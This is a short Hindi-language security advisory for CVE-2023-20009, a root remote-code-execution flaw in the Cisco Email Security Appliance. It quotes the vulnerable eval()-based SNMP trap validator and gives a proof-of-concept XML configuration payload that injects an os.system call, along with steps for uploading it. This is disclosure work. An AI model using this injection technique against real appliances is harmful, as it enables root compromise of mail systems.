
Cisco Email Security Appliance: रिमोट कोड निष्पादन - कॉन्फ़िग फ़ाइल से RCE
सुरक्षा शोधकर्ता: ly1g3, ly1g3[at]tuta.io
GPG फ़िंगरप्रिंट: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
अवलोकन: कॉन्फ़िगरेशन फ़ाइल से रिमोट कोड निष्पादन - RCE
CVE: CVE-2023-20009
समयरेखा:
ESA (Cisco Secure Email) और Cisco Secure Email और Web Manager
एक प्रमाणित उपयोगकर्ता, जिसके पास SNMP-config की अनुमतियाँ हैं, एक विशेष रूप से निर्मित SNMP ट्रैप कॉन्फ़िगरेशन का उपयोग करके रूट के रूप में मनमाना कोड निष्पादित कर सकता है।
शोषित कोड ui_checker.py:
def validate_trap_configuration(base, value_dict):
validators = eval('read_var_auto_level_wrapper("snmp.%s_traps.configuration_class", non_editable_var=True)' % (base,))
for k, v in value_dict.iteritems():
if validators.has_key(k):
base, conf_class_str = validators[k].rsplit('.', 1)
module = __import__(base, fromlist=[conf_class_str])
conf_class = eval('module.%s("%s")' % (conf_class_str, v))
else:
raise FilterError('validate_%s_trap_configuration_value' % (base,),
_("Trap does not allow configuration"), k)
return value_dict
v में common_trap.common_configuration का मान होगा।
<common_trap>
<common_name>connectivityFailure</common_name>
<common_enabled>0</common_enabled>
<common_configuration>http://asd.asd."+os.system("touch test.txt"))#,5</common_configuration>
</common_trap>
<common_trap>
https://192.168.1.10/system_administration/configuration_fileconnectivityFailure फ़ील्ड को ऊपर दिए गए पेलोड से बदलेंloadconfig